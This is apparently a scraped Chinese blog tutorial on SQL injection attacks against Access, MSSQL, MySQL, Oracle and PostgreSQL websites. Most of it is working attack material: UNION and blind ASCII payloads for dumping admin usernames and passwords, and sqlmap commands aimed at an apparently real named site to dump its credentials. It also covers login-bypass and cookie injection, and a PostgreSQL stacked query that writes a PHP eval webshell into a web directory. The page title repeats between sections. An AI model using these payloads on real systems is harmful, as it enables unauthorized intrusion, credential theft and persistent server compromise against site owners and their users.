Web渗透测试(sql注入 access,mssql,mysql,oracle,)

Access数据库注入:

access数据库由微软发布的关系型数据库(小型的),安全性差。

access数据库后缀名位*.mdb,

asp中连接字符串应用——

“Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass”

Dim conn

Set conn = server.createobject(“adodb.connection”)

conn.open “provider=Microsoft.ACE.OLEDB.12.0;” & “data source = ” & server.mappath(“bbs.mdb”)

打开此数据库的工具——

破障浏览器,辅臣浏览器

注入分析——

判断注入点(判断有没有带入查询)

,

and 1=1

and 1=2

or 1=1

or 1=2

and 1=23

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

查看是否带入查询,如果带入查询了,说明有注入漏洞

存在注入--判断数据库类型——

and exsits (select * from msysobjects) >0(判断access)

and exsits (select * from sysobjects) >0(判断SQL server)

判断数据库表

and exists (select * from admin)(如果不存在admin表,可以试试user或者useradmin)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

带入查询不报错说明有admin表

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

and exists (select admin from admin)查询是否有admin字段

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

and exists (select password from admin)查询是否有password字段

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

判断字段长度 order by 22

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

报错  and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin(猜解出admin和password的字段长度)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin(这样就把用户名密码猜解出来了,再去md5解密即可)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

示例:sqlmap注入access数据库

链接http://www.jnqtly.cn/cp11.asp?id=1129

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables(爆表)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

10个线程跑

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

对file表进行猜解

sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --tables --columns -T file

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

对字段进行猜解

root@xxSec:~# sqlmap -u http://www.jnqtly.cn/cp11.asp?id=1129 --dump -T file -C "admin,password"

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

然后去解密即可

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

———————————————————————————————————————

Mssql(SQL server)数据库注入:(中小型企业)

SQL server由微软公司推出的关系型数据库,支持对称多处理器的结构 存储过程,具有自主的sql语言,支持图形化管理工具。

SQL server数据库文件后缀位xxx.mdf,日志文件后缀为xxx_log.ldf

基础语句select * from 表名(查询)

sreate database 库名(创建)

drop database 库明(删除库)

权限——

sa权限:数据库操作,文件管理,命令执行,注册表读取等system

db权限:文件管理,数据库操作等 users-adminstrators

public权限:数据库操作 guest-users

调用分析——

<% set conn =server.crateobiect(“adodb.connection”)

conn.open“provider=sqloledb;source=IP;uid=sa;pwd=xxxxxxxxx;database=xxx”

%>

注入语句:

判断是否有注入——

and 1=1

and 1=2

.......判断注入的方法是一样的

and (select Count(*) from [表名])>0(猜解表名)

and (select Count(字段名) from 表名)>0(猜测字段)

and (select top 1 len(字段名) from 表名)>0(猜测字段长度)

初步判断是否是mssql(SQL server)——

and user > 0

判断数据库系统——

and (select count(*) from sysobiects)> 0 mssql

and (select count(*) from msysobiects)> 0 access

实例:(其实都不建议手工测试,还是工具跑得快)

用穿山甲测试

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

可直接写入一句话木马

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

Sa权限可直接提权

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

如果命令不生效可先恢复一下spoa换一下类型

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

—————————————————————————————————————————

Mysql数据库注入:(中小型企业)

瑞典推出的关系型数据库,现在已经被甲骨文公司收购,搭配php+apache+mysql

Mysql函数——

systm_user() 系统用户名

user() 用户名

current_use() 连接数据库的用户名

database() 数据库名

version() MySQL数据库版本

load_file() 转成16进制或者是10进制mysql读取本地文件的函数

@@datadir 读取数据库路径

@@basedir 读取MySQL安装路径

@@version_comoile_os 判断操作系统

PHP+MySQL链接——

<?php

$host=’localhost’; 数据库地址

$database=’sui’; 数据库名称

$user=’root’; 数据库账户

$pass=’’; 数据库密码

$webml=’/0/’; 安装文件夹

?>

注入语句:

判断是否有注入——

and 1=1 返回正常

and 1=2 返回不正常 存在注入点

.......判断注入的方法是一样的

判断字段长度——

order by xx

order by 21 正常,order by 22不正常,说明长度为21

union secect 1-18 from information_schema.tables(报出错误)

示例:(MySQL5.0以上的版本)

先判断是否存在注入,and不行试试其他or之类的,然后判断字段长度

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

爆出错误2和3

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

在报错位置查询想要的信息

猜解用户名

http://xxxx.xx.com/xxxxx/php?id=-5union secect  1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18from information_schema.tables

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

猜解数据库名

http://xxxx.xx.com/xxxxx/php?id=-5 union secect 1,database()3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

猜解表名

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables  where_schema=0x6469616E(把库名转换成16进制)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

爆出表名,爆出来后可以一个一个去尝试

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

猜解列名

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.column where_schema=0x797A36F054846172(把表名转换成16进制)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

猜解字段

http://xxxx.xx.com/xxxxx/php?id=-5union secect 1,group_concat(username,0x5c,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from yzsoumember(0x5c是一个\的16进制)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

爆出管理员账号密码

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

—————————————————————————————————————————

Oracle数据库注入:(大型企业,*,金融,证券)

Oracle数据库由美国甲骨文公司推出的,以分布式数据库为核心,是目前世界上使用最广范的数据库管理系统,支持多用户,事物的处理,移植性强。

Oracle数据库代码分析——

id = request.getParameter(“id”);

String strSQL = “select title,content from news where id=” + id;

ResultSet rs = strt.executeQuery(strSQL);

while(rs.next())

{

String title = rs.getString(“time”);

String content = rs.getString(“conntent”);

Out.print(“<tr><td>”+ title +”<td><tr><tr><td><br/>” + content + “</td></tr>”);

}

注入语句:

判断是否有注入——

and 1=1 返回正常

and 1=2 返回不正常 存在注入点

.......判断注入的方法是一样的

判断语句——

示例:

猜解表名,存在则不报错and (select count(*) from admin)<>0

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

猜解user列名,存在则不报错and (select count(user) from admin)<>0

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

猜解pwd列名,存在则不报错and (select count(pwd) from admin)<>0

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

判断长度and (select count(*) from admin where length(name)>=5)=1(length()函数用于字符串长度,此处猜测用户名长度和5比较,意思就是猜测是否由5个字符组成)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

猜解第一个位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1(substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

猜解第二位and (select count(*) from admin where length(name)>=5)=1 and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1(重复以上操作,去配对ascii码表,可以判断账号为admin)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

相同方式猜解密码;and (select count(*) from admin where length(pwd)>=8)=1 返回正常,密码长度为8

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

猜解第一位and (select count(*) from admin where length(name)>=5)=1  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1(返回正常,字符为a)(重复以上操作,去配对ascii码表,可以判断账号为admin888)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

ascii表

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

测试登陆

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

———————————————————————————————————————

Postgresql注入:(国内用的比较少)

注入语句:

判断是否有注入——

and 1=1 返回正常

and 1=2 返回不正常 存在注入点

.......判断注入的方法是一样的

判断语句——

示例:

http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(version() as int)(获取数据库版本信息,系统信息)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

http://www.xxx.jp/xxx/xx/php?id=307 and 1=cast(user||123 as int)(获取当前用户名称,Postgres用户相当于root用户权限)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

http://www.xxx.jp/xxx/xx/php?id=307 ;create table xxx(w text not null);(创建表x)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

插马——

http://www.xxx.jp/xxx/xx/php?id=307;insert into xxx values($$<?php @eval($_POST[xxxxx]);?>$$);(向x表中插入一句话木马)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

写文件——

http://www.xxx.jp/xxx/xx/php?id=307;copy xxx(w) to$$/home/kasugai_tochi/public_html/script/xxx.php$$;(将一句话木马保存为xxx.php文件,执行后用菜刀链接,然后上传webshll)

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

——————————————————————————————————————————————————

提交方式注入:

Get——

get注入比较常见,如www.xxx.com/xx.asp?id=1

判断方式——

and 1 =1

and 1=2

Post——

post提交方式主要适用于表单的提交,用于登录框的注入,如www.xxx.com/admin.php

测试工具——pangolin,sqlmap

判断方式——

在登陆框键入 ‘or’=1

示例:(穿山甲跑)

加载表单

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

把后台地粘贴上,开始跑

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

加载表单

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

它会默认把表单提交到根路劲,需要把它改成登陆路劲

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

Sqlmap跑——

示例:

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

加上根目录路径,然后在往下操作

sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --dbs

sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --tables -D “列名”

sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --columns -T “表名” -D “列名”

sqlmap -u http://www.xxxx.com/login.asp --data “xxxxxxx=1” --dump  -C “user,pass” -T “表名” -D “列名”

Cookie——

cookie提交用于账号密码的cookie缓存,还可以通过cookie注入来突破简单的防注入系统

示例:

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

———————————————————————————————————————

搜索框注入:

使用的工具——burpsuite,sqlmap

思路——先使用burp抓搜索包,把抓到的包保存到xx.txt文件里,然后用sqlmap跑

示例:sqlmap -r xx.txt --tables(猜表名)

sqlmap -r xx.txt --columns -T “admin”(猜列名)

sqlmap -r xx.txt --C “admin,password” -T “manager” --dump -v 2(列内容)

找到搜索框

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

抓包

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

再跑sqlmap

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

————————————————————————————————————————————————

伪静态注入:

网站管理员耍小聪明,看着是静态页面,其实是动态页面

如http://www.xxx.com/xxxx/xxx/xxx.html

判断——

http://www.xxx.com/index.php 返回正常说明是php写的  (index.asp,index.jsp)

示例——

Web渗透测试(sql注入 access,mssql,mysql,oracle,)

http://www.xxxx.cn/xxx_99,html(把伪静态链接构造成动态脚本语言)

http://www.xxxx.cn/xx.php?id=99 (asp?id=   jsp?id=  aspx?id=  不报错说明就是此语言)

上一篇:Jquery根据字段内容设置字段宽度


下一篇:自定义shiro实现权限验证方法isAccessAllowed